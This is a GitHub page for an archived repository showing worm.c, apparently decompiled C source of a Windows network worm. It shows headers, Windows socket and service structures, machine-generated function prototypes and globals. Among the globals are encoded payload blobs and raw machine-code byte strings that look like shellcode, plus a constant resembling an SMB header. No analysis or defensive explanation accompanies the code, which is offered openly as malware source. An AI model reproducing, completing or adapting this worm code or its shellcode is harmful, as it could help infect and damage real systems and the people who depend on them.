This repository has been archived by the owner on Dec 11, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathworm.c
10928 lines (10819 loc) · 470 KB
/
worm.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#include <arpa/inet.h>
#include <netinet/in.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <time.h>
#include <windows.h>
// ----------------- Float Types Definitions ------------------
typedef double float64_t;
typedef long double float80_t;
// ------------------------ Structures ------------------------
struct WSAData {
int16_t e0;
int16_t e1;
int16_t e2;
int16_t e3;
char * e4;
char e5[1];
char e6[1];
};
struct _LARGE_INTEGER {
int64_t e0;
};
struct _LIST_ENTRY {
struct _LIST_ENTRY * e0;
struct _LIST_ENTRY * e1;
};
struct _OVERLAPPED {
int32_t e0;
int32_t e1;
int32_t e2;
char * e3;
};
struct _RTL_CRITICAL_SECTION {
struct _RTL_CRITICAL_SECTION_DEBUG * e0;
int32_t e1;
int32_t e2;
char * e3;
char * e4;
int32_t e5;
};
struct _RTL_CRITICAL_SECTION_DEBUG {
int16_t e0;
int16_t e1;
struct _RTL_CRITICAL_SECTION * e2;
struct _LIST_ENTRY e3;
int32_t e4;
int32_t e5;
int32_t e6;
int16_t e7;
int16_t e8;
};
struct _SERVICE_STATUS {
int32_t e0;
int32_t e1;
int32_t e2;
int32_t e3;
int32_t e4;
int32_t e5;
int32_t e6;
};
struct _SERVICE_TABLE_ENTRYA {
char * e0;
void (**e1)(int32_t, char **);
};
struct _TYPEDEF_IP_ADDRESS_STRING__PIP_ADDRESS_STRING_IP_MASK_STRING__PIP_MASK_STRING {
char e0[1];
};
struct _IP_ADDR_STRING {
struct _IP_ADDR_STRING * e0;
struct _TYPEDEF_IP_ADDRESS_STRING__PIP_ADDRESS_STRING_IP_MASK_STRING__PIP_MASK_STRING e1;
struct _TYPEDEF_IP_ADDRESS_STRING__PIP_ADDRESS_STRING_IP_MASK_STRING__PIP_MASK_STRING e2;
int32_t e3;
};
struct _IP_ADAPTER_INFO {
struct _IP_ADAPTER_INFO * e0;
int32_t e1;
char e2[1];
char e3[1];
int32_t e4;
char e5[1];
int32_t e6;
int32_t e7;
int32_t e8;
struct _IP_ADDR_STRING * e9;
struct _IP_ADDR_STRING e10;
struct _IP_ADDR_STRING e11;
struct _IP_ADDR_STRING e12;
bool e13;
struct _IP_ADDR_STRING e14;
struct _IP_ADDR_STRING e15;
int32_t e16;
int32_t e17;
};
struct _IP_PER_ADAPTER_INFO_W2KSP1 {
int32_t e0;
int32_t e1;
struct _IP_ADDR_STRING * e2;
struct _IP_ADDR_STRING e3;
};
struct fd_set {
int32_t e0;
int32_t e1[1];
};
struct in_addr {
int32_t e0;
};
struct sockaddr {
int16_t e0;
char e1[14];
};
struct timeval {
int32_t e0;
int32_t e1;
};
// ------------------- Function Prototypes --------------------
int32_t entry_point(int32_t a1, int32_t a2, int32_t a3, int32_t a4);
void function_401000(void);
void function_401010(void);
void function_401030(void);
int32_t function_401040(int32_t a1, int32_t a2, int32_t a3, int32_t a4);
int32_t function_401140(char * str2, char * str, int32_t a3);
int32_t function_401190(char * a1, int32_t a2, char * a3, char * a4, char * a5);
void function_401310(void);
int32_t function_401370(int32_t a1, int32_t a2, int32_t a3, float64_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10, int32_t a11, int32_t a12, int32_t a13, int32_t a14, int32_t a15, float64_t a16, int32_t a17, int32_t addr, int32_t a19, int32_t a20, int32_t a21, char * a22, int32_t a23, int32_t buf2, int32_t a25, int32_t a26, int32_t a27, int32_t a28);
int64_t function_401660(int64_t a1, int32_t a2, int32_t a3);
int32_t function_4017b0(char * a1, char * a2);
int32_t function_401980(struct sockaddr * cp, int32_t host_short);
int32_t function_401b70(char * cp, int32_t a2, int32_t host_short);
int32_t function_401d80(void);
int32_t function_406eb0(int32_t a1);
int32_t function_406ed0(int32_t a1);
int32_t function_406f00(int32_t a1, int32_t a2, uint32_t a3, int32_t a4);
int32_t function_406f50(int32_t a1, int32_t a2, char * a3, char * a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10, int32_t a11, int32_t a12, int32_t a13, int32_t a14, int32_t a15, int32_t a16, int32_t a17, int32_t a18, int32_t a19, int32_t a20, int32_t a21, int32_t a22, int32_t a23, int32_t a24, int32_t a25, int32_t a26, int32_t a27, int32_t a28, int32_t a29);
int32_t function_4072a0(char * cp, int32_t a2, int32_t host_short);
int32_t function_407480(int32_t a1);
int32_t function_407540(char * a1, int32_t a2, int32_t a3);
int32_t function_407620(void);
int32_t function_407660(void);
int32_t function_4076b0(char * a1);
int32_t function_407720(int32_t a1);
int32_t function_407840(char * str2, char * format, int32_t (**a3)(char *), char * a4, int32_t a5);
char * function_407a20(void);
int32_t function_407b90(void);
int32_t function_407bd0(int32_t a1);
int32_t function_407c40(void);
char * function_407ce0(void);
int32_t function_407f20(void);
int32_t function_407f30(int32_t a1);
int32_t function_407f89(int32_t a1, int32_t lpInfo, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, char * hService, int32_t a9, int32_t a10, int32_t a11);
char * function_408000(void);
int32_t function_408090(int32_t a1, int32_t a2);
int32_t function_408140(void);
int32_t function_4081d0(void);
void function_408200(char * a1, char * a2, int32_t a3);
int32_t function_4082b0(int32_t * a1, int32_t a2);
int32_t function_4082c0(int32_t * a1, int32_t a2, int32_t a3, int32_t a4);
int32_t function_408390(int32_t * a1, int32_t * a2, int32_t a3);
int32_t function_4085d0(int32_t * a1, int32_t * a2, int32_t a3);
int32_t function_4089d0(int32_t * a1, int32_t a2);
int32_t function_408a10(int32_t a1);
int32_t function_408a60(int32_t * a1, int32_t a2, int32_t * a3, int32_t * a4, int32_t a5, int32_t a6);
int32_t function_408cd0(int32_t a1, int32_t a2);
int32_t function_408d30(int32_t * a1);
int32_t function_408d50(int32_t * a1, int32_t a2);
int32_t function_408db0(int32_t result, int32_t a2, int32_t a3);
int32_t function_408dd0(int32_t a1);
int32_t function_408e30(int32_t * a1, int32_t * a2);
int32_t function_408e50(int32_t a1, int32_t host_long, int32_t host_long2, int32_t a4);
void function_409040(void);
int32_t function_409050(int32_t * a1, int32_t a2, int32_t * a3, int32_t a4);
int32_t function_409080(int32_t * a1, int32_t a2, int32_t * a3, int32_t a4);
int32_t function_4090b0(int32_t * a1, int32_t * a2);
int32_t function_4090d0(int32_t host_long, int32_t host_long2, int32_t host_long3);
int32_t function_409110(int32_t host_long);
int32_t function_409160(char * cp, struct _IP_PER_ADAPTER_INFO_W2KSP1 * a2);
int32_t function_409470(int32_t * a1, int32_t a2, int32_t * a3, int32_t a4);
int32_t function_409680(int32_t * a1, int32_t a2, int32_t a3, int32_t a4);
int32_t function_409750(int32_t * a1, int32_t a2, int32_t a3);
void function_4097b0(void);
int32_t function_4097fe(char * a1);
void function_40980a(void);
int32_t (**function_409816(int32_t (**a1)(), int32_t a2))();
void function_409842(int32_t a1);
int32_t function_409860(int32_t a1);
void function_409890(void);
void function_409952(void);
void function_409a0a(void);
int32_t function_409b54(int32_t a1, int32_t a2, int32_t a3);
int32_t function_409b68(int32_t status);
void function_409b74(void);
int32_t function_409b8c(void);
int32_t function_409b9e(void);
int32_t function_409ba1(void);
int32_t function_409ba2(int32_t * a1);
int32_t unknown_407fa0(int32_t a1, int32_t a2);
int32_t unknown_40a100(void);
int32_t unknown_40a108(void);
int32_t unknown_40a120(void);
int32_t unknown_40a144(void);
int32_t unknown_40a180(void);
// --------------------- Global Variables ---------------------
int32_t g1 = 0; // eax
int32_t g2 = 0; // ebp
int32_t g3 = 0; // ebx
int32_t g4 = 0; // ecx
int32_t g5 = 0; // edi
int32_t g6 = 0; // edx
int32_t g7 = 0; // esi
int32_t g8 = 0; // esp
int32_t g9 = 0x5b5d5e5f; // 0x401650
int32_t g10 = -0x72e73b7d; // 0x407989
int32_t g11 = -0x3b7c0f75; // 0x4079b9
int32_t g12 = 0x1023d; // 0x4079ce
int32_t g13 = 0x7815ff56; // 0x4079de
int32_t g14 = 0x15ff326a; // 0x4079e5
int32_t g15 = -0x7eb9; // 0x4079ed
int32_t g16 = 443; // 0x407a0c
int32_t g17 = -0x17afffdc; // 0x409281
int32_t g18 = -0x97a0f75; // 0x4092ca
int32_t g19 = -0x17afffdc; // 0x40933e
int32_t g20 = 0x1424748b; // 0x409365
int32_t g21 = -0x5effda01; // 0x409b74
int32_t g24 = 0x448908c6; // 0x410800
char * g25; // 0x41b924
char * g26; // 0x41b9b0
char * g27; // 0x41ba3c
char * g28; // 0x41bab0
int16_t * g29 = (int16_t *)0x35100000; // 0x41bb4c
char * g30; // 0x41bbb0
int16_t * g31 = (int16_t *)0x35100000; // 0x41c3b8
int16_t * g32 = (int16_t *)0x35100000; // 0x41e484
int16_t * g33 = (int16_t *)0x35100000; // 0x41f4ec
int16_t * g34 = (int16_t *)0x35100000; // 0x420554
char g35[819] = "MK9f8lBAf/FKP5U2etKvFr+y0UzeQ50K1VhCDWxQIyPi78hG4ytDPs/1abcyyE+Zz82FmWbwA6SnUjO/25jXVospykFgiPFrDMiCFBF0uut8WqNe7+7HmU8v+Ig4F+1eQ9MSR7WXiFiZXWHXj1crLYpGpFd95oYovDOvw+yWgkxqIT+R6V2F+o5RYMdg9YCMTgtiyu70wCgucw9RU1kqGkiYCOkKL0aWDOzuBO5S5CkTYAJdzE+W5XDCgX6cpWGhJ0FasNnH3NAfjYI0LszwpEDu98OBY+zmtTlZtC3oPFMWAC/Z0AlaKppAPj9wC+wTUvHaYebKOjTujZqL+ysbIsiANOz9as1cnBUVVGzas9ZZKOX83TZfRF3UTrZM1UxnxEDg+3tUKdUvZGixYunoOnldp/9oFIHacUCtHo6CGE6jgS0iRgbi3YfFyvD/+d8KjQ+vZREmGxZ+/yKtIKXOsz9+pMo0OiDcvtF3PlEUS6xy7ekKLyUOWAWFoR9s+H2bIXCRIo/Jdns9MdGkdz8+tco7bthLrJghq4A46rewPPAV1vte6FLbSLJonwdvJda4x4RldJLN4mRCT4nZ3t7O8oI/ePQxRdVXrtGJ0OQ5HlQrbdkvR6R7+hr8VdXdUcfdnHbb1BfzJiGI/e6+DyAxsdl29vVlXV0cVx6dNEAIkOVnLPajGppXEoiUc7sGlzOdU52RJCjgIVLG5Q/eKkNO9LTendYxljGopQHZ2SJXus2AQl97m0T6kswRtRBzqKS1cRYKce1MXGWmjsiMIrLz8NerBzf2NnrmQSBxUTIuUPqxoxBajr"; // 0x420800
int16_t * g36 = (int16_t *)0x35100000; // 0x4215bc
int16_t * g37 = (int16_t *)0x35100000; // 0x422624
int16_t * g38 = (int16_t *)0x35100000; // 0x42368c
int16_t * g39 = (int16_t *)0x35100000; // 0x4246f4
int16_t * g40 = (int16_t *)0x35100000; // 0x42575c
int16_t * g41 = (int16_t *)0x35100000; // 0x4267c4
int16_t * g42 = (int16_t *)0x35100000; // 0x42782c
int16_t * g43 = (int16_t *)0x35100000; // 0x428894
int16_t * g44 = (int16_t *)0x35100000; // 0x4298fc
int16_t * g45 = (int16_t *)0x31000000; // 0x42a964
char * g46; // 0x42a9c4
char * g47; // 0x42aa50
char * g48; // 0x42aa94
char * g49; // 0x42ab20
int16_t * g50 = (int16_t *)0x31000000; // 0x42ab78
int16_t * g51 = (int16_t *)0x35100000; // 0x42abd8
char * g52 = "\x32\x42\x67\x48\x44\x59\x75\x39\x4d\x31\x52\x4f\x67\x31\x46\x6d\x73\x54\x6d\x37\x6a\x4a\x67\x30\x38\x69\x64\x4f\x6e\x54\x39\x37\x43\x56\x76\x4c\x76\x43\x44\x2f\x69\x47\x45\x69\x74\x2f\x6f\x39\x49\x4c\x45\x43\x46\x4c\x4a\x68\x36\x6e\x50\x48\x5a\x49\x78\x32\x51\x54\x6c\x4d\x54\x57\x6d\x54\x36\x6d\x38\x53\x43\x44\x64\x76\x6b\x43\x5a\x47\x53\x6d\x6b\x6d\x68\x79\x51\x59\x45\x4d\x77\x67\x57\x2b\x53\x78\x51\x47\x2f\x57\x4a\x78\x6b\x35\x53\x38\x37\x68\x41\x78\x5a\x38\x70\x46\x42\x6b\x64\x62\x64\x59\x62\x76\x30\x54\x75\x4d\x36\x4e\x30\x31\x78\x75\x78\x2f\x41\x38\x38\x47\x44\x57\x37\x45\x63\x2f\x30\x73\x4c\x44\x57\x4d\x34\x6a\x2b\x72\x64\x4b\x45\x63\x6f\x4b\x64\x2b\x51\x64\x56\x2f\x34\x58\x47\x78\x6b\x72\x38\x42\x6d\x30\x35\x46\x57\x77\x68\x41\x6c\x64\x73\x53\x73\x56\x6a\x6c\x36\x48\x73\x32\x46\x6c\x36\x34\x35\x56\x73\x77\x55\x57\x70\x31\x2f\x46\x34\x70\x68\x4b\x6d\x49\x63\x39\x4b\x31\x33\x58\x4f\x52\x37\x32\x62\x42\x6f\x50\x74\x66\x6d\x35\x53\x44\x45\x64\x68\x46\x5a\x41\x45\x42\x62\x45\x78\x53\x61\x77\x4c\x6d\x43\x74\x74\x4e\x41\x6e\x65\x70\x75\x41\x63\x73\x36\x4e\x58\x62\x4e\x66\x39\x4b\x4d\x51\x4e\x37\x4f\x45\x6d\x44\x2f\x34\x54\x55\x79\x35\x71\x74\x4e\x4b\x6b\x33\x38\x6f\x36\x65\x53\x79\x63\x52\x70\x4b\x6f\x6e\x2b\x56\x2f\x39\x61\x37\x5a\x30\x4d\x75\x43\x74\x41\x47\x4b\x6c\x4e\x71\x57\x61\x51\x4a\x32\x6b\x45\x2f\x44\x61\x79\x54\x30\x6a\x55\x59\x70\x5a\x6a\x4f\x72\x69\x57\x72\x42\x44\x4f\x31\x4a\x76\x50\x53\x44\x65\x54\x38\x4b\x55\x7a\x36\x39\x47\x67\x61\x65\x66\x6b\x55\x4b\x2f\x4d\x4b\x62\x71\x55\x39\x75\x7a\x51\x35\x38\x65\x2b\x50\x68\x4a\x6e\x35\x73\x79\x6f\x38\x63\x66\x6d\x76\x72\x2f\x57\x63\x57\x55\x30\x31\x78\x4b\x50\x4a\x50\x76\x37\x71\x56\x36\x33\x33\x61\x4f\x77\x34\x4b\x64\x42\x4e\x53\x4b\x68\x48\x5a\x48\x55\x33\x55\x4d\x4d\x6a\x6c\x37\x69\x47\x66\x6d\x6d\x5a\x30\x61\x62\x6f\x38\x4b\x75\x37\x63\x46\x35\x50\x6f\x31\x73\x65\x41\x37\x65\x62\x38\x32\x39\x5a\x2f\x63\x34\x51\x79\x4f\x4b\x4f\x43\x56\x65\x78\x44\x51\x66\x56\x76\x30\x52\x37\x57\x53\x66\x58\x31\x46\x41\x47\x42\x31\x61\x43\x41\x55\x2b\x75\x73\x6f\x78\x42\x56\x49\x48\x63\x64\x4f\x59\x78\x32\x43\x57\x38\x63\x57\x69\x51\x66\x2f\x4a\x73\x69\x67\x48\x30\x38\x48\x6d\x42\x6c\x34\x6e\x2b\x79\x6c\x39\x33\x77\x67\x79\x41\x6e\x4b\x42\x42\x55\x53\x55\x7a\x35\x6d\x50\x53\x54\x4d\x45\x56\x41\x32\x4c\x62\x4e\x6a\x35\x73\x37\x57\x57\x67\x56\x71\x78\x62\x64\x2f\x49\x6c\x47\x7a\x39\x56\x65\x52\x54\x4d\x65\x4a\x74\x53\x5a\x56\x42\x69\x68\x43\x6e\x45\x6a\x6d\x42\x75\x49\x70\x42\x44\x65\x2f\x6b\x50\x70\x6a\x57\x6f\x68\x4e\x75\x2f\x2b\x66\x4d\x4c\x65\x30\x6f\x37\x37\x55\x6d\x76\x50\x36\x66\x46\x6a\x35\x50\x47\x4c\x51\x56\x5a\x62\x42\x4c\x41\x54\x34\x33\x45\x35\x5a\x2f\x31\x43\x55\x45\x6e\x38\x55\x35\x4a\x4b\x44\x7a\x76\x43\x4e\x30\x45\x72\x4f\x76\x6a\x32\x4f\x4b\x4d\x61\x56\x47\x38\x44\x48\x61\x44\x4b\x76\x37\x36\x69\x45\x78\x30\x62\x55\x63\x68\x4f\x52\x46\x66\x67\x56\x56\x62\x7a\x49\x67\x4c\x6f\x70\x48\x45\x42\x72\x52\x51\x32\x6e\x66\x6e\x48\x59\x48\x4d\x45\x4d\x49\x46\x31\x6d\x59\x70\x36\x74\x38\x45\x52\x57\x4d\x38\x71\x47\x36\x47\x4e\x2b\x6c\x69\x68\x4e\x38\x75\x31\x72\x41\x37\x30\x4e\x4a\x4d\x74\x63\x47\x50\x6d\x2f\x59\x39\x4a\x55\x35\x6d\x38\x2b\x4e\x39\x68\x61\x76\x47\x70\x72\x2b\x6f\x4a\x62\x4e\x62\x4c\x48\x32\x33\x36\x39\x30\x4a\x67\x7a\x34\x38\x41\x4e\x62\x68\x69\x2f\x73\x62\x37\x6a\x4d\x52\x41\x6e\x50\x64\x47\x6a\x38\x38\x6a\x73\x6b\x67\x62\x5a\x69\x51\x55\x31\x63\x56\x37\x70\x76\x54\x77\x4e\x46\x55\x44\x4e\x4b\x44\x79\x37\x4a\x67\x6c\x4f\x77\x32\x63\x54\x65\x35\x37\x4b\x35\x6b\x72\x66\x6a\x4b\x75\x4e\x65\x2f\x47\x75\x46\x33\x50\x2b\x52\x6c\x50\x38\x50\x2b\x6e\x65\x50\x4c\x51\x6f\x70\x67\x2b\x44\x34\x51\x4a\x49\x49\x77\x38\x6b\x4b\x63\x30\x4b\x4f\x2f\x65\x6d\x56\x4a\x65\x44\x64\x58\x35\x76\x39\x4e\x53\x6e\x79\x2b\x78\x79\x61\x31\x30\x64\x31\x56\x4c\x76\x61\x71\x57\x54\x6c\x66\x62\x75\x69\x42\x73\x71\x55\x48\x4d\x33\x79\x79\x30\x6f\x53\x31\x49\x47\x46\x66\x63\x48\x73\x45\x2b\x64\x35\x50\x61\x61\x78\x52\x6d\x2f\x33\x70\x6f\x6c\x67\x75\x6f\x56\x68\x59\x2f\x69\x32\x68\x48\x73\x73\x6b\x56\x2b\x6b\x55\x41\x75\x6b\x5a\x47\x52\x71\x35\x72\x33\x41\x54\x58\x39\x61\x4a\x78\x41\x7a\x71\x2f\x54\x67\x42\x68\x69\x43\x42\x6a\x45\x55\x57\x4b\x5a\x33\x63\x45\x35\x75\x32\x50\x39\x2b\x34\x64\x52\x33\x6a\x66\x55\x32\x33\x74\x6c\x43\x7a\x2f\x74\x43\x55\x38\x68\x67\x6a\x61\x70\x43\x4f\x57\x5a\x76\x39\x66\x65\x78\x48\x49\x52\x69\x79\x6b\x36\x7a\x61\x79\x4e\x53\x48\x41\x68\x32\x69\x56\x69\x6d\x69\x45\x30\x69\x4f\x78\x53\x2f\x4f\x75\x52\x70\x62\x70\x75\x6e\x57\x65\x74\x55\x4e\x55\x69\x39\x39\x51\x64\x6e\x2f\x37\x37\x56\x67\x58\x6f\x41\x72\x6d\x6f\x4b\x44\x63\x37\x36\x54\x33\x45\x2b\x37\x5a\x68\x41\x66\x75\x44\x77\x4e\x33\x4f\x6c\x53\x4b\x39\x31\x4c\x5a\x4f\x4b\x36\x64\x49\x77\x6b\x4b\x6d\x6e\x47\x52\x4b\x33\x58\x34\x78\x56\x32\x79\x4f\x35\x61\x4b\x76\x2b\x39\x43\x56\x6e\x6f\x75\x6e\x36\x4d\x43\x34\x4f\x53\x6d\x64\x4b\x51\x72\x74\x4e\x34\x7a\x5a\x6e\x41\x53\x68\x50\x47\x61\x33\x79\x4c\x70\x71\x53\x33\x56\x76\x61\x44\x2b\x57\x35\x49\x52\x6b\x41\x39\x64\x68\x67\x4a\x69\x31\x4e\x6c\x59\x50\x44\x68\x4b\x51\x42\x32\x70\x72\x37\x47\x67\x70\x72\x62\x4c\x72\x75\x45\x38\x78\x74\x47\x6b\x71\x57\x47\x46\x74\x44\x6f\x71\x7a\x49\x58\x65\x58\x55\x33\x58\x56\x36\x4e\x4f\x73\x4b\x37\x54\x6c\x63\x48\x62\x42\x66\x35\x41\x6c\x37\x68\x51\x41\x38\x51\x43\x49\x62\x45\x35\x67\x34\x5a\x66\x77\x79\x4f\x45\x56\x55\x52\x6f\x72\x6c\x71\x42\x49\x74\x2b\x38\x49\x4c\x6f\x58\x4c\x44\x48\x64\x34\x58\x46\x38\x44\x38\x4d\x4f\x74\x44\x71\x32\x78\x47\x6d\x55\x31\x49\x41\x64\x31\x50\x67\x78\x4e\x48\x47\x2b\x39\x32\x47\x48\x38\x54\x6e\x45\x52\x59\x47\x58\x39\x56\x6e\x55\x5a\x74\x58\x73\x63\x35\x55\x59\x61\x76\x48\x2f\x6f\x66\x63\x31\x39\x35\x61\x66\x62\x36\x65\x44\x49\x79\x51\x4d\x6f\x65\x39\x54\x52\x54\x77\x74\x4d\x71\x74\x2f\x34\x68\x55\x66\x39\x57\x73\x67\x63\x68\x44\x64\x63\x6e\x75\x4d\x4f\x33\x63\x75\x54\x33\x74\x36\x57\x49\x4a\x75\x66\x37\x39\x47\x77\x52\x78\x77\x74\x79\x75\x4b\x32\x56\x42\x6b\x37\x68\x48\x75\x4d\x49\x53\x77\x33\x51\x31\x6c\x39\x31\x6d\x2b\x4a\x43\x32\x31\x71\x33\x61\x63\x4c\x79\x2b\x53\x62\x2b\x44\x58\x69\x4b\x37\x32\x31\x36\x75\x72\x59\x52\x64\x4b\x77\x36\x72\x47\x43\x2b\x5a\x39\x6b\x47\x51\x37\x7a\x61\x70\x30\x38\x38\x59\x46\x70\x70\x6e\x6c\x2b\x56\x78\x57\x70\x68\x71\x5a\x63\x6b\x2f\x57\x51\x80"; // 0x42b1b8
char * g53 = "\x47\x77\x52\x78\x77\x74\x79\x75\x4b\x32\x56\x42\x6b\x37\x68\x48\x75\x4d\x49\x53\x77\x33\x51\x31\x6c\x39\x31\x6d\x2b\x4a\x43\x32\x31\x71\x33\x61\x63\x4c\x79\x2b\x53\x62\x2b\x44\x58\x69\x4b\x37\x32\x31\x36\x75\x72\x59\x52\x64\x4b\x77\x36\x72\x47\x43\x2b\x5a\x39\x6b\x47\x51\x37\x7a\x61\x70\x30\x38\x38\x59\x46\x70\x70\x6e\x6c\x2b\x56\x78\x57\x70\x68\x71\x5a\x63\x6b\x2f\x57\x51\x80"; // 0x42b76c
char * g54; // 0x42bc40
char * g55 = "\xc3\x56\x89\xc6\x83\xc6\x3c\x8b\x36\x01\xc6\x66\x81\x3e\x50\x45\x75\x09\x83\xc6\x78\x8b\x36\x01\xf0\x5e\xc3\x31\xc0\xeb\xfa\x56\x51\x57\x89\xc6\x31\xc0\x89\xc7\xc1\xe7\x07\x29\xc7\x89\xf8\x31\xc9\x8a\x0e\x80\xf9"; // 0x42c1f4
char * g56; // 0x42c7a8
char * g57 = "\xc1\xe7\x07\x29\xc7\x89\xf8\x31\xc9\x8a\x0e\x80\xf9"; // 0x42cd84
char * g58 = "\xc1\xe7\x07\x29\xc7\x89\xf8\x31\xc9\x8a\x0e\x80\xf9"; // 0x42d310
char * g59 = "\x89\xec\x41\x5f\x41\x5e\x41\x5d\x41\x5c\x5e\x5f\x5d\x5b\xc3\x53\x52\x51\x55\x48\x89\xe5\x48\x81\xec"; // 0x42de28
char * g60; // 0x42e2a8
char * g61; // 0x42e324
char * g62; // 0x42e378
int32_t g63 = 0x54000000; // 0x42e3d0
int32_t g64 = 0x63000000; // 0x42e42c
char * g65; // 0x42e494
int32_t g66 = 0x4d53ff47; // 0x42e497
int32_t g67 = 0x4a000000; // 0x42e4f4
int32_t g68 = 0; // 0x42e510
int32_t g69 = 0; // 0x42e511
int32_t g70 = 0; // 0x42e512
int32_t g71 = 0; // 0x42e513
int32_t g72 = 0; // 0x42e514
int32_t g73 = 0x10000000; // 0x42e515
int32_t g74 = 0x100000; // 0x42e516
int32_t g75 = 0x1000; // 0x42e517
char * g76; // 0x42e544
int32_t g77 = -0x78000000; // 0x42e5d0
int32_t g78 = 0x5c000000; // 0x42e65c
int32_t g79 = 0x400800; // 0x42e67c
char g80[3] = "\b@"; // 0x42e67d
int32_t g81 = 0x4e000000; // 0x42e6bc
int32_t g82 = -0x100f800; // 0x42e6d8
int32_t g83 = 0xfeff08; // 0x42e6d9
char g85[3] = "\bA"; // 0x42e6dd
int32_t g86 = 0xc0f0041; // 0x42e6de
int32_t g87 = 0xee3401; // 0x42e6ed
int32_t g88 = 0xee34; // 0x42e6ee
int32_t g89 = 238; // 0x42e6ef
int32_t g90 = 0xc000000; // 0x42e6f0
int16_t * g91 = (int16_t *)0x4e100000; // 0x42e710
int32_t g92 = -0x100f800; // 0x42e72c
int32_t g93 = 0xfeff08; // 0x42e72d
char g95[3] = "\bB"; // 0x42e731
int32_t g96 = 0xd000e00; // 0x42e750
int32_t g97 = 16; // 0x42e754
char * g98 = "\x8b\x44\x24\x04\x60\x89\xc5\x81\xec\xb4"; // 0x42e758
char g99[3] = "p}"; // 0x42ece9
int32_t g100 = 256; // 0x42fa58
int32_t g101 = 0; // 0x42fa5c
int32_t g102 = 0x66e08948; // 0x42fa60
int32_t g103 = 0x1df8a; // 0x4302ce
char g105[2] = "R"; // 0x43137c
struct _RTL_CRITICAL_SECTION * g106 = NULL; // 0x431418
void (**g107)(int32_t) = NULL; // 0x431430
int32_t g108 = 0; // 0x431434
int32_t g109 = 0; // 0x431438
int32_t g110 = 0; // 0x43143c
int32_t g111 = 0; // 0x431440
int32_t g112 = 0; // 0x431444
int32_t g113 = 0; // 0x431448
int32_t (*g114)(int32_t) = NULL; // 0x43144c
float64_t g115 = 0.0; // 0x431450
int32_t (*g116)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t) = NULL; // 0x431458
char * g117; // 0x43145c
int32_t (*g118)(int32_t, int32_t) = NULL; // 0x431460
int32_t g119 = 0; // 0x431468
int32_t g120 = 0; // 0x43146c
int32_t g121 = 0; // 0x431474
